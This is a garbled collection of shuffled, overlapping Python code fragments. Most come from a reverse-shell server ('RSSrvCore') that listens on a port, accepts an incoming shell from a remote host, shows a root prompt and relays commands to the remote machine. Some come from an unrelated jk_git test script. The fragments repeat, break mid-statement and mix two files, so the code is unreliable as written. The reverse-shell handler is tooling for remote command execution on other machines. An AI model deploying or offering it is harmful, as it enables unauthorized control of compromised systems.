"recdata = conn.recv(16834) if remotepyversion == 2: if recdata and recdata != ':':",
"help = ('bind to sockets that are already in use')) self.arg_parser.add_argument('port', action =",
"1) print('Binding to port ' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host =",
"COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER",
"be included in all # copies or substantial portions of the Software. #",
"shell server\"\"\" self.args = None self.arg_parser = ArgumentParser() def get_args(self): \"\"\"Set argument options\"\"\"",
"+ \\ '.\\nEnter h for help.') remotepyversion = int(remotepyversion) if remotehost.split('@')[0] == 'root':",
"= ' # ' else: promptsuffix = ' $ ' print('Type exit or",
"except EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close() exit(0) def show_help(self): \"\"\"Show help for",
"help for shell options\"\"\" h = [] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show this",
"force: print('Enabling socket address reuse.') s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to port ' +",
"copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED",
"socket from sys import exit, stdout from time import sleep __version__ = '0.1'",
"else: promptsuffix = ' $ ' print('Type exit or enter EOF (ctrl-d) to",
"in use')) self.arg_parser.add_argument('port', action = 'store', type=int, help = ('set the local port'))",
"= cmd except EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close() exit(0) def show_help(self): \"\"\"Show",
"get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action = 'version', version = '%(prog)s ' +",
"portions of the Software. # # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT",
"do so, subject to the following conditions: # # The above copyright notice",
"2018 <NAME> (<EMAIL>) # # Permission is hereby granted, free of charge, to",
"self.arg_parser.add_argument('--version', action = 'version', version = '%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f', action =",
"THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR",
"= ('set the local port')) self.args = self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect to",
"and recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd = cmd except EOFError: conn.send(bytes('exit', 'utf8'))",
"permit persons to whom the Software is # furnished to do so, subject",
"import sleep __version__ = '0.1' class RSSrvCore: def __init__(self): \"\"\"Initialize a shell server\"\"\"",
"socket.SO_REUSEADDR, 1) print('Binding to port ' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host",
"':': stdout.buffer.write(recdata) else: if recdata and recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd =",
"Permission is hereby granted, free of charge, to any person obtaining a copy",
"action = 'store', type=int, help = ('set the local port')) self.args = self.arg_parser.parse_args()",
"THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR",
"'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close() return 0 elif cmd == 'detach': conn.send(bytes(cmd, 'utf8'))",
"IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT",
"EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,",
"Software without restriction, including without limitation the rights # to use, copy, modify,",
"#!/usr/bin/env python3 # MIT License # # Copyright (c) 2018 <NAME> (<EMAIL>) #",
"DEALINGS IN THE # SOFTWARE. from argparse import ArgumentParser import socket from sys",
"h.append('detach close shell, keep client running') h.append('cd DIR change directory') h.append('') print('\\n'.join(h)) def",
"THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from argparse import ArgumentParser",
"cmd == 'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close() return 0 elif cmd == 'detach':",
"# The above copyright notice and this permission notice shall be included in",
"# of this software and associated documentation files (the \"Software\"), to deal #",
"OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR",
"above copyright notice and this permission notice shall be included in all #",
"+ str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn, host = s.accept() print('Received connection from '",
"sell # copies of the Software, and to permit persons to whom the",
"WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE.",
"substantial portions of the Software. # # THE SOFTWARE IS PROVIDED \"AS IS\",",
"time import sleep __version__ = '0.1' class RSSrvCore: def __init__(self): \"\"\"Initialize a shell",
"conn.close() s.close() exit(0) elif cmd == 'h': self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata =",
"MIT License # # Copyright (c) 2018 <NAME> (<EMAIL>) # # Permission is",
"+ \\ 'Remote Python major version: ' + remotepyversion + \\ '.\\nEnter h",
"restriction, including without limitation the rights # to use, copy, modify, merge, publish,",
"FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS",
"# # Permission is hereby granted, free of charge, to any person obtaining",
"bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd = cmd except EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close()",
"__version__ = '0.1' class RSSrvCore: def __init__(self): \"\"\"Initialize a shell server\"\"\" self.args =",
"BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR",
"this permission notice shall be included in all # copies or substantial portions",
"conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' + remotehost + '.\\n' + \\ 'Remote Python major",
"int(remotepyversion) if remotehost.split('@')[0] == 'root': promptsuffix = ' # ' else: promptsuffix =",
"'h': self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834) if remotepyversion == 2: if",
"program (local and remote)') h.append('drop close shell, keep server running') h.append('detach close shell,",
"= ('bind to sockets that are already in use')) self.arg_parser.add_argument('port', action = 'store',",
"' + remotehost + '.\\n' + \\ 'Remote Python major version: ' +",
"FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE",
"OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT",
"# copies or substantial portions of the Software. # # THE SOFTWARE IS",
"PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING",
"!= bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd = cmd except EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close()",
"lastcmd = cmd except EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close() exit(0) def show_help(self):",
"'.') remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' + remotehost + '.\\n'",
"= ' $ ' print('Type exit or enter EOF (ctrl-d) to exit.') while",
"files (the \"Software\"), to deal # in the Software without restriction, including without",
"# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS",
"+ str(host[1]) + '.') remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' +",
"elif cmd == 'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'h':",
"IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE",
"OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from argparse import",
"stdout.buffer.write(recdata) lastcmd = cmd except EOFError: conn.send(bytes('exit', 'utf8')) print('exit') conn.close() s.close() exit(0) def",
"'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'drop': conn.send(bytes('exit', 'utf8')) conn.close()",
"the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell",
"action = 'store_true', dest = 'force', help = ('bind to sockets that are",
"cmd = input(remotehost + promptsuffix) if cmd == '!': cmd = lastcmd elif",
"cmd == 'h': self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834) if remotepyversion ==",
"argparse import ArgumentParser import socket from sys import exit, stdout from time import",
"following conditions: # # The above copyright notice and this permission notice shall",
"from argparse import ArgumentParser import socket from sys import exit, stdout from time",
"of the Software, and to permit persons to whom the Software is #",
"+ '.') remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' + remotehost +",
"remotehost, remotepyversion = str( conn.recv(1024))[2:-1].split(':') print('Remote hostname: ' + remotehost + '.\\n' +",
"[] h.append('\\nCommand Description') h.append('-----------------------------') h.append('h show this help menu') h.append('exit close program (local",
"print('Type exit or enter EOF (ctrl-d) to exit.') while True: try: cmd =",
"cmd == 'exit': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'drop': conn.send(bytes('exit',",
"main_event(self, force=False): \"\"\"Connect to an incoming shell\"\"\" s = socket.socket() if force: print('Enabling",
"\"\"\"Run the shell server program\"\"\" try: self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True) except KeyboardInterrupt:",
"self.args = None self.arg_parser = ArgumentParser() def get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action",
"' else: promptsuffix = ' $ ' print('Type exit or enter EOF (ctrl-d)",
"ArgumentParser() def get_args(self): \"\"\"Set argument options\"\"\" self.arg_parser.add_argument('--version', action = 'version', version = '%(prog)s",
"IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR",
"'.\\nEnter h for help.') remotepyversion = int(remotepyversion) if remotehost.split('@')[0] == 'root': promptsuffix =",
"= self.arg_parser.parse_args() def main_event(self, force=False): \"\"\"Connect to an incoming shell\"\"\" s = socket.socket()",
"try: self.get_args() self.main_event(force=self.args.force) while True: self.main_event(force=True) except KeyboardInterrupt: print('\\nExiting on KeyboardInterrupt') def main():",
"exit or enter EOF (ctrl-d) to exit.') while True: try: cmd = input(remotehost",
"OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER",
"HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN",
"s.close() exit(0) elif cmd == 'drop': conn.send(bytes('exit', 'utf8')) conn.close() s.close() return 0 elif",
"including without limitation the rights # to use, copy, modify, merge, publish, distribute,",
"from ' + str(host[0]) + \\ ':' + str(host[1]) + '.') remotehost, remotepyversion",
"a shell server\"\"\" self.args = None self.arg_parser = ArgumentParser() def get_args(self): \"\"\"Set argument",
"+ str(__version__)) self.arg_parser.add_argument('-f', action = 'store_true', dest = 'force', help = ('bind to",
"elif cmd == 'h': self.show_help() else: conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834) if remotepyversion",
"recdata != ':': stdout.buffer.write(recdata) else: if recdata and recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata)",
"== 'detach': conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'h': self.show_help() else:",
"\\ 'Remote Python major version: ' + remotepyversion + \\ '.\\nEnter h for",
"conn.send(bytes(cmd, 'utf8')) recdata = conn.recv(16834) if remotepyversion == 2: if recdata and recdata",
"s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) print('Binding to port ' + str(self.args.port)) s.bind(('0.0.0.0', self.args.port)) s.listen(1) conn,",
"copyright notice and this permission notice shall be included in all # copies",
"# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER",
"associated documentation files (the \"Software\"), to deal # in the Software without restriction,",
"h.append('drop close shell, keep server running') h.append('detach close shell, keep client running') h.append('cd",
"+ remotehost + '.\\n' + \\ 'Remote Python major version: ' + remotepyversion",
"hereby granted, free of charge, to any person obtaining a copy # of",
"of this software and associated documentation files (the \"Software\"), to deal # in",
"OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS",
"= input(remotehost + promptsuffix) if cmd == '!': cmd = lastcmd elif cmd",
"def __init__(self): \"\"\"Initialize a shell server\"\"\" self.args = None self.arg_parser = ArgumentParser() def",
"# # THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,",
"'!': cmd = lastcmd elif cmd == '': cmd = '\\n' if cmd",
"conn.send(bytes(cmd, 'utf8')) conn.close() s.close() exit(0) elif cmd == 'h': self.show_help() else: conn.send(bytes(cmd, 'utf8'))",
"THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from",
"= '0.1' class RSSrvCore: def __init__(self): \"\"\"Initialize a shell server\"\"\" self.args = None",
"import socket from sys import exit, stdout from time import sleep __version__ =",
"exit, stdout from time import sleep __version__ = '0.1' class RSSrvCore: def __init__(self):",
"NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY",
"recdata and recdata != bytes('\\n', 'utf8'): stdout.buffer.write(recdata) lastcmd = cmd except EOFError: conn.send(bytes('exit',",
"self.arg_parser.add_argument('-f', action = 'store_true', dest = 'force', help = ('bind to sockets that",
"options\"\"\" self.arg_parser.add_argument('--version', action = 'version', version = '%(prog)s ' + str(__version__)) self.arg_parser.add_argument('-f', action",
"to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of",
"h.append('h show this help menu') h.append('exit close program (local and remote)') h.append('drop close",
"'utf8')) recdata = conn.recv(16834) if remotepyversion == 2: if recdata and recdata !=",
"the Software is # furnished to do so, subject to the following conditions:",
"subject to the following conditions: # # The above copyright notice and this"
] |
[
"tempfile import jk_json import jk_logging import jk_typing import jk_git from TestHelper import TestHelper",
"\"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating another file and committing it",
"...\") as log2: ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert isinstance(ret, list) assert",
"len(ret) == 2 assert ret[0] == \" master\" assert ret[1] == \"* mybranch\"",
"open(filePath, \"w\") as fout: fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2) ret",
"log=log2) th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\",",
"ret = th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret,",
"\"w\") as fout: fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2) ret =",
"fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2)",
"with log.descend(\"Creating another file and committing it ...\") as log2: filePath = os.path.join(tempDirPath,",
"log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing branches ...\") as",
"assert ret[0] == \" master\" assert ret[1] == \"* mybranch\" \"\"\" with log.descend(\"Creating",
"log=log2) _dumpOutput(ret, log2) ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating",
"log.descend(\"Listing branches ...\") as log2: ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert isinstance(ret,",
"git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating a branch ...\") as log2:",
"= th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert isinstance(ret, list) assert len(ret) == 2 assert",
"TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating",
"file and committing it ...\") as log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath,",
"\" master\" assert ret[1] == \"* mybranch\" \"\"\" with log.descend(\"Creating even another file",
"it ...\") as log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\") as fout:",
"2 assert ret[0] == \" master\" assert ret[1] == \"* mybranch\" \"\"\" with",
"\"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show log ...\") as",
"== \"* mybranch\" \"\"\" with log.descend(\"Creating even another file and committing it ...\")",
"assert isinstance(ret, list) assert len(ret) == 2 assert ret[0] == \" master\" assert",
"assert ret[1] == \"* mybranch\" \"\"\" with log.descend(\"Creating even another file and committing",
"assert len(ret) == 2 assert ret[0] == \" master\" assert ret[1] == \"*",
"log=log2) th._dumpOutput(ret, log2) assert isinstance(ret, list) assert len(ret) == 2 assert ret[0] ==",
"ret[1] == \"* mybranch\" \"\"\" with log.descend(\"Creating even another file and committing it",
"and committing it ...\") as log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\")",
"\"foo2.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret = git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret,",
"== \" master\" assert ret[1] == \"* mybranch\" \"\"\" with log.descend(\"Creating even another",
"= th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing branches ...\") as log2: ret",
"import jk_json import jk_logging import jk_typing import jk_git from TestHelper import TestHelper with",
"branch ...\") as log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing",
"import TestHelper with jk_logging.wrapMain() as log: with TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\",",
"even another file and committing it ...\") as log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\")",
"\"w\") as fout: fout.write(\"\") ret = git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2) ret =",
"import jk_logging import jk_typing import jk_git from TestHelper import TestHelper with jk_logging.wrapMain() as",
"ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show",
"\"\"\" with log.descend(\"Creating even another file and committing it ...\") as log2: filePath",
"filePath = os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret = git.add(tempDirPath,",
"th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show log ...\")",
"th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating another file and",
"log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret =",
"ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert isinstance(ret, list) assert len(ret) == 2",
"with log.descend(\"Show log ...\") as log2: ret = th.git.showLog(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) #",
"open(filePath, \"w\") as fout: fout.write(\"\") ret = git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2) ret",
"file and committing it ...\") as log2: filePath = os.path.join(tempDirPath, \"foo2.txt\") with open(filePath,",
"ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing branches ...\") as log2:",
"as fout: fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath,",
"jk_json import jk_logging import jk_typing import jk_git from TestHelper import TestHelper with jk_logging.wrapMain()",
"th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating another file",
"th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating another file and committing",
"log2) \"\"\" with log.descend(\"Creating a branch ...\") as log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\",",
"jk_typing import jk_git from TestHelper import TestHelper with jk_logging.wrapMain() as log: with TestHelper(log)",
"= git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating a branch ...\") as",
"\"\"\" with log.descend(\"Creating a branch ...\") as log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2)",
"\"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating a branch ...\") as log2: ret",
"th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log)",
"= os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret = git.add(tempDirPath, filePath,",
"= th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2)",
"log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with",
"branches ...\") as log2: ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert isinstance(ret, list)",
"fout.write(\"\") ret = git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2) ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2)",
"\"mycommitmsg3\", log) with log.descend(\"Show log ...\") as log2: ret = th.git.showLog(th.tempDirPath, log=log2) th._dumpOutput(ret,",
"\"\"\" with log.descend(\"Creating another file and committing it ...\") as log2: filePath =",
"jk_git from TestHelper import TestHelper with jk_logging.wrapMain() as log: with TestHelper(log) as th:",
"os import typing import tempfile import jk_json import jk_logging import jk_typing import jk_git",
"as log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret",
"\"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating another file and committing it ...\") as log2:",
"log.descend(\"Creating a branch ...\") as log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2)",
"log2) assert isinstance(ret, list) assert len(ret) == 2 assert ret[0] == \" master\"",
"th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2) ret = th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\"",
"th._dumpOutput(ret, log2) with log.descend(\"Listing branches ...\") as log2: ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret,",
"from TestHelper import TestHelper with jk_logging.wrapMain() as log: with TestHelper(log) as th: th.createRepository(log)",
"log2: filePath = os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret =",
"committing it ...\") as log2: filePath = os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\") as",
"= th.git.commit(th.tempDirPath, \"mycommitmsg3\", log=log2) th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show log",
"with TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with",
"log.descend(\"Creating even another file and committing it ...\") as log2: filePath = os.path.join(th.tempDirPath,",
"import os import typing import tempfile import jk_json import jk_logging import jk_typing import",
"as log2: ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert isinstance(ret, list) assert len(ret)",
"os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath, log=log2)",
"== 2 assert ret[0] == \" master\" assert ret[1] == \"* mybranch\" \"\"\"",
"= os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath,",
"typing import tempfile import jk_json import jk_logging import jk_typing import jk_git from TestHelper",
"and committing it ...\") as log2: filePath = os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\")",
"with log.descend(\"Creating even another file and committing it ...\") as log2: filePath =",
"\"mybranch\", log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing branches ...\") as log2: ret = th.git.listBranches(th.tempDirPath,",
"filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret = th.git.add(th.tempDirPath,",
"another file and committing it ...\") as log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with",
"log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating another file and committing it ...\")",
"log2) with log.descend(\"Listing branches ...\") as log2: ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2)",
"ret[0] == \" master\" assert ret[1] == \"* mybranch\" \"\"\" with log.descend(\"Creating even",
"th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log) \"\"\" with log.descend(\"Creating another file and committing it ...\") as",
"ret = git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2) ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret,",
"filePath, log=log2) _dumpOutput(ret, log2) ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\" with",
"th._dumpOutput(ret, log2) \"\"\" th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show log ...\") as log2: ret",
"log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing branches ...\") as log2: ret = th.git.listBranches(th.tempDirPath, log=log2)",
"log) \"\"\" with log.descend(\"Creating another file and committing it ...\") as log2: filePath",
"th._dumpOutput(ret, log2) assert isinstance(ret, list) assert len(ret) == 2 assert ret[0] == \"",
"#!/usr/bin/python3 import os import typing import tempfile import jk_json import jk_logging import jk_typing",
"jk_logging.wrapMain() as log: with TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\",",
"log2: ret = th.git.listBranches(th.tempDirPath, log=log2) th._dumpOutput(ret, log2) assert isinstance(ret, list) assert len(ret) ==",
"log.descend(\"Creating another file and committing it ...\") as log2: filePath = os.path.join(tempDirPath, \"foo2.txt\")",
"as log: with TestHelper(log) as th: th.createRepository(log) th.createSingleFileAndCommitIt(\"foo1.txt\", \"mycommitmsg1\", log) th.createSingleFileAndCommitIt(\"foo2.txt\", \"mycommitmsg2\", log)",
"fout: fout.write(\"\") ret = git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2) ret = git.commit(tempDirPath, \"mycommitmsg2\",",
"a branch ...\") as log2: ret = th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2) with",
"jk_logging import jk_typing import jk_git from TestHelper import TestHelper with jk_logging.wrapMain() as log:",
"master\" assert ret[1] == \"* mybranch\" \"\"\" with log.descend(\"Creating even another file and",
"with open(filePath, \"w\") as fout: fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret, log2)",
"th.git.createBranch(th.tempDirPath, \"mybranch\", log=log2) th._dumpOutput(ret, log2) with log.descend(\"Listing branches ...\") as log2: ret =",
"import tempfile import jk_json import jk_logging import jk_typing import jk_git from TestHelper import",
"with open(filePath, \"w\") as fout: fout.write(\"\") ret = git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2)",
"\"foo3.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret = th.git.add(th.tempDirPath, filePath, log=log2) th._dumpOutput(ret,",
"as fout: fout.write(\"\") ret = git.add(tempDirPath, filePath, log=log2) _dumpOutput(ret, log2) ret = git.commit(tempDirPath,",
"log2) ret = git.commit(tempDirPath, \"mycommitmsg2\", log=log2) _dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating a branch",
"log=log2) _dumpOutput(ret, log2) \"\"\" with log.descend(\"Creating a branch ...\") as log2: ret =",
"th.createSingleFileAndCommitIt(\"foo3.txt\", \"mycommitmsg3\", log) with log.descend(\"Show log ...\") as log2: ret = th.git.showLog(th.tempDirPath, log=log2)",
"os.path.join(tempDirPath, \"foo2.txt\") with open(filePath, \"w\") as fout: fout.write(\"\") ret = git.add(tempDirPath, filePath, log=log2)",
"...\") as log2: filePath = os.path.join(th.tempDirPath, \"foo3.txt\") with open(filePath, \"w\") as fout: fout.write(\"\")",
"import jk_git from TestHelper import TestHelper with jk_logging.wrapMain() as log: with TestHelper(log) as",
